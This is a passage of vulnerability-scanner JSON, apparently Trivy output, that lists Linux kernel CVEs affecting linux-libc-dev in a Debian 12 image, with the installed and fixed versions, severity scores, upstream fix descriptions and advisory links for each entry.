"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43133.json", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43133" ], "PublishedDate": "2026-05-06T12:16:30.48Z", "LastModifiedDate": "2026-10-19T20:18:07.837Z" }, { "VulnerabilityID": "CVE-2026-43141", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43141", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:efc4ce8f1d6e7aec83961977d07d651ed0d9d9417ddfe18a6c0ee0d902026888", "Title": "kernel: ntb: ntb_hw_switchtec: Fix shift-out-of-bounds for 0 mw lut", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nntb: ntb_hw_switchtec: Fix shift-out-of-bounds for 0 mw lut\n\nNumber of MW LUTs depends on NTB configuration and can be set to zero,\nin such scenario rounddown_pow_of_two will cause undefined behaviour and\nshould not be performed.\nThis patch ensures that rounddown_pow_of_two is called on valid value.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43141", "https://git.kernel.org/linus/186615f8855a0be4ee7d3fcd09a8ecc10e783b08%20%287.0-rc1%29", "https://git.kernel.org/stable/c/186615f8855a0be4ee7d3fcd09a8ecc10e783b08", "https://git.kernel.org/stable/c/1a867d0d79a4a570a33f2f433919ad2bd7a27b67", "https://git.kernel.org/stable/c/2e4d5e8d86a969318340be95470bb76e52392082", "https://git.kernel.org/stable/c/5590cd04d6845c01a6bad985a491c58af6fb5389", "https://git.kernel.org/stable/c/a11d03d116eef138a7249202bd772c8e61915aec", "https://git.kernel.org/stable/c/a133e3caf844a3f56b6eef89ddaa66115874f6bd", "https://git.kernel.org/stable/c/d0559d07afabfddaaded6a61a16154486b956764", "https://git.kernel.org/stable/c/d652ef399f131fcd5f8f34266167449ee7c9e5b3", "https://lore.kernel.org/linux-cve-announce/2026050625-CVE-2026-43141-a84a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43141", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43141" ], "PublishedDate": "2026-05-06T12:16:31.493Z", "LastModifiedDate": "2026-06-17T10:49:00.747Z" }, { "VulnerabilityID": "CVE-2026-43150", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43150", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9c17dfe9f1e4dcd5e48c6cafe215b50b3aa6e24c421e3577355b559b66dc7b9", "Title": "kernel: perf/arm-cmn: Reject unsupported hardware configurations", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/arm-cmn: Reject unsupported hardware configurations\n\nSo far we've been fairly lax about accepting both unknown CMN models\n(at least with a warning), and unknown revisions of those which we\ndo know, as although things do frequently change between releases,\ntypically enough remains the same to be somewhat useful for at least\nsome basic bringup checks. However, we also make assumptions of the\nmaximum supported sizes and numbers of things in various places, and\nthere's no guarantee that something new might not be bigger and lead\nto nasty array overflows. Make sure we only try to run on things that\nactually match our assumptions and so will not risk memory corruption.\n\nWe have at least always failed on completely unknown node types, so\nupdate that error message for clarity and consistency too.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-122" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43150", "https://git.kernel.org/linus/36c0de02575ce59dfd879eb4ef63d53a68bbf9ce%20%287.0-rc1%29", "https://git.kernel.org/stable/c/00d69f21ef2ab00e6156c764d89e2b3539eb2f33", "https://git.kernel.org/stable/c/08c7eadd8a934a1968e1aeeee8b61b853b99fb3a", "https://git.kernel.org/stable/c/36c0de02575ce59dfd879eb4ef63d53a68bbf9ce", "https://git.kernel.org/stable/c/7e2c200010aa93fa78201da959b4ac6b9f8fed0b", "https://git.kernel.org/stable/c/a251d866f50b6a4c95901fa722025065679c2eca", "https://git.kernel.org/stable/c/d3e837e11ee9ed08df229272319199003ba00379", "https://linux.oracle.com/cve/CVE-2026-43150.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050628-CVE-2026-43150-987f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43150", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43150" ], "PublishedDate": "2026-05-06T12:16:32.69Z", "LastModifiedDate": "2026-10-19T20:18:08.48Z" }, { "VulnerabilityID": "CVE-2026-43185", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43185", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f324682184e7e27ae1f58c18b0b47dcca165157e9005d3c4360473f160f9edc", "Title": "kernel: ksmbd: fix signededness bug in smb_direct_prepare_negotiation()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix signededness bug in smb_direct_prepare_negotiation()\n\nsmb_direct_prepare_negotiation() casts an unsigned __u32 value\nfrom sp-\u003emax_recv_size and req-\u003epreferred_send_size to a signed\nint before computing min_t(int, ...). A maliciously provided\npreferred_send_size of 0x80000000 will return as smaller than\nmax_recv_size, and then be used to set the maximum allowed\nalowed receive size for the next message.\n\nBy sending a second message with a large value (\u003e1420 bytes)\nthe attacker can then achieve a heap buffer overflow.\n\nThis fix replaces min_t(int, ...) with min_t(u32)", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "redhat": 3, "ubuntu": 4 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43185", "https://git.kernel.org/linus/6b4f875aac344cdd52a1f34cc70ed2f874a65757%20%287.0-rc2%29", "https://git.kernel.org/stable/c/1c268fd2f59dc9ccb2c2a7d1f439b232dbe1c06c", "https://git.kernel.org/stable/c/55abc475d096da4a5356b6efb0cfdc6156bc1550", "https://git.kernel.org/stable/c/56eab82fa6fb5ca024b0514e249d40d9b23ee5a7", "https://git.kernel.org/stable/c/6b4f875aac344cdd52a1f34cc70ed2f874a65757", "https://git.kernel.org/stable/c/a110dbe928561d440e9e117d17331139a0bedace", "https://git.kernel.org/stable/c/ceae058eb707ddd0d68f0872f9d9f23b7c30c37b", "https://lore.kernel.org/linux-cve-announce/2026050640-CVE-2026-43185-55a5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43185", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43185" ], "PublishedDate": "2026-05-06T12:16:37.187Z", "LastModifiedDate": "2026-10-30T13:18:47.55Z" }, { "VulnerabilityID": "CVE-2026-43196", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43196", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b2034976bc8bd5f1b7cc1d75899c693dbd19a491bf63f141518271d3f94a104c", "Title": "kernel: soc: ti: pruss: Fix double free in pruss_clk_mux_setup()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoc: ti: pruss: Fix double free in pruss_clk_mux_setup()\n\nIn the pruss_clk_mux_setup(), the devm_add_action_or_reset() indirectly\ncalls pruss_of_free_clk_provider(), which calls of_node_put(clk_mux_np)\non the error path. However, after the devm_add_action_or_reset()\nreturns, the of_node_put(clk_mux_np) is called again, causing a double\nfree.\n\nFix by returning directly, to avoid the duplicate of_node_put().", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43196", "https://git.kernel.org/linus/80db65d4acfb9ff12d00172aed39ea8b98261aad%20%287.0-rc1%29", "https://git.kernel.org/stable/c/04dbbb18cc9c8795c9ff47d8994bc03ebfef9d68", "https://git.kernel.org/stable/c/24c40076e3bc3d73c839c886d6bda1da6c4d9b93", "https://git.kernel.org/stable/c/69aa67c1e22d13e9aad4b08c86304ad8e743dcab", "https://git.kernel.org/stable/c/80db65d4acfb9ff12d00172aed39ea8b98261aad", "https://git.kernel.org/stable/c/818cf66d91c8ef09b01664a12d5f4ea786d64396", "https://git.kernel.org/stable/c/b7db9953c2f8da37de498198623b05b46f8e2ca0", "https://git.kernel.org/stable/c/dbda01bf2dfe5af33163e1e5fca1b82b619c2803", "https://git.kernel.org/stable/c/e113339cc7d23be4948891f3a702e9dce5b47035", "https://lore.kernel.org/linux-cve-announce/2026050644-CVE-2026-43196-b9da@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43196", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43196" ], "PublishedDate": "2026-05-06T12:16:38.607Z", "LastModifiedDate": "2026-06-17T10:49:08.017Z" }, { "VulnerabilityID": "CVE-2026-43198", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43198", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da782eaedceb690fd1cb58ad1bc809e0179366b1600dfd26d1cf2af1ee9f716f", "Title": "kernel: tcp: fix potential race in tcp_v6_syn_recv_sock()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: fix potential race in tcp_v6_syn_recv_sock()\n\nCode in tcp_v6_syn_recv_sock() after the call to tcp_v4_syn_recv_sock()\nis done too late.\n\nAfter tcp_v4_syn_recv_sock(), the child socket is already visible\nfrom TCP ehash table and other cpus might use it.\n\nSince newinet-\u003epinet6 is still pointing to the listener ipv6_pinfo\nbad things can happen as syzbot found.\n\nMove the problematic code in tcp_v6_mapped_child_init()\nand call this new helper from tcp_v4_syn_recv_sock() before\nthe ehash insertion.\n\nThis allows the removal of one tcp_sync_mss(), since\ntcp_v4_syn_recv_sock() will call it with the correct\ncontext.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-821" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30129", "https://access.redhat.com/errata/RHSA-2026:33215", "https://access.redhat.com/errata/RHSA-2026:33285", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34443", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:35894", "https://access.redhat.com/errata/RHSA-2026:35896", "https://access.redhat.com/errata/RHSA-2026:35904", "https://access.redhat.com/errata/RHSA-2026:36073", "https://access.redhat.com/errata/RHSA-2026:36216", "https://access.redhat.com/errata/RHSA-2026:36348", "https://access.redhat.com/errata/RHSA-2026:36349", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/security/cve/CVE-2026-43198", "https://bugzilla.redhat.com/2456521", "https://bugzilla.redhat.com/2467228", "https://bugzilla.redhat.com/show_bug.cgi?id=2461510", "https://bugzilla.redhat.com/show_bug.cgi?id=2464397", "https://bugzilla.redhat.com/show_bug.cgi?id=2467228", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2482031", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31636", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43038", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43198", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45898", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://errata.almalinux.org/9/ALSA-2026-33285.html", "https://errata.rockylinux.org/RLSA-2026:30129", "https://git.kernel.org/linus/858d2a4f67ff69e645a43487ef7ea7f28f06deae%20%287.0-rc2%29", "https://git.kernel.org/stable/c/7178e2a8027423b2af17ab95df73a749a5b72e5b", "https://git.kernel.org/stable/c/858d2a4f67ff69e645a43487ef7ea7f28f06deae", "https://git.kernel.org/stable/c/9ed654e340f4c73bc6f0af2fbc90ac293e645ce0", "https://git.kernel.org/stable/c/a7e761ba55efaa9c49e0afdd304bb78167af3429", "https://git.kernel.org/stable/c/aef4a9ae95d1bc4f7897065011e6261026719aeb", "https://git.kernel.org/stable/c/cd644e6dc72eec8d9d988717ea1c54f8668ded69", "https://git.kernel.org/stable/c/dad1fe7db6c6519138430ac8f5e589c18f83bfc9", "https://git.kernel.org/stable/c/fe89b2f05b854847784f91127319172945c1fadd", "https://linux.oracle.com/cve/CVE-2026-43198.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026050645-CVE-2026-43198-0870@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43198", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43198.json", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8634-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://www.cve.org/CVERecord?id=CVE-2026-43198" ], "PublishedDate": "2026-05-06T12:16:38.857Z", "LastModifiedDate": "2026-10-19T20:18:10.39Z" }, { "VulnerabilityID": "CVE-2026-43205", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43205", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8dd55bcea1e8af1f5c340b92cc4e537133fbcec1cae811285b608cbefc3c43fa", "Title": "kernel: Linux kernel dpaa2-switch: Kernel memory corruption via out-of-bounds write", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndpaa2-switch: validate num_ifs to prevent out-of-bounds write\n\nThe driver obtains sw_attr.num_ifs from firmware via dpsw_get_attributes()\nbut never validates it against DPSW_MAX_IF (64). This value controls\niteration in dpaa2_switch_fdb_get_flood_cfg(), which writes port indices\ninto the fixed-size cfg-\u003eif_id[DPSW_MAX_IF] array. When firmware reports\nnum_ifs \u003e= 64, the loop can write past the array bounds.\n\nAdd a bound check for num_ifs in dpaa2_switch_init().\n\ndpaa2_switch_fdb_get_flood_cfg() appends the control interface (port\nnum_ifs) after all matched ports. When num_ifs == DPSW_MAX_IF and all\nports match the flood filter, the loop fills all 64 slots and the control\ninterface write overflows by one entry.\n\nThe check uses \u003e= because num_ifs == DPSW_MAX_IF is also functionally\nbroken.\n\nbuild_if_id_bitmap() silently drops any ID \u003e= 64:\n if (id[i] \u003c DPSW_MAX_IF)\n bmap[id[i] / 64] |= ...", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21557", "https://access.redhat.com/security/cve/CVE-2026-43205", "https://bugzilla.redhat.com/2334560", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2451199", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464402", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467090", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2334560", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2451199", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464402", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467090", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56645", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23375", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43205", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/10/ALSA-2026-21557.html", "https://errata.rockylinux.org/RLSA-2026:21557", "https://git.kernel.org/linus/8a5752c6dcc085a3bfc78589925182e4e98468c5%20%287.0-rc2%29", "https://git.kernel.org/stable/c/89764cf44544e943230f5e03b8c40a90da26537c", "https://git.kernel.org/stable/c/8a5752c6dcc085a3bfc78589925182e4e98468c5", "https://git.kernel.org/stable/c/8b841fd529db9faf8bc678d429d4bf4e98b10900", "https://git.kernel.org/stable/c/a26dda3bae469c8e4e1b1993ad33dafa32d0fc28", "https://git.kernel.org/stable/c/a3034a8d56174dd6464c46823438f25797910a8d", "https://git.kernel.org/stable/c/b690635d4719214892855b79ce018d4b1672ac96", "https://git.kernel.org/stable/c/c18493f750208eb4ff1198fc5a02786b8b2d70a6", "https://linux.oracle.com/cve/CVE-2026-43205.html", "https://linux.oracle.com/errata/ELSA-2026-21557.html", "https://lore.kernel.org/linux-cve-announce/2026050647-CVE-2026-43205-3180@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43205", 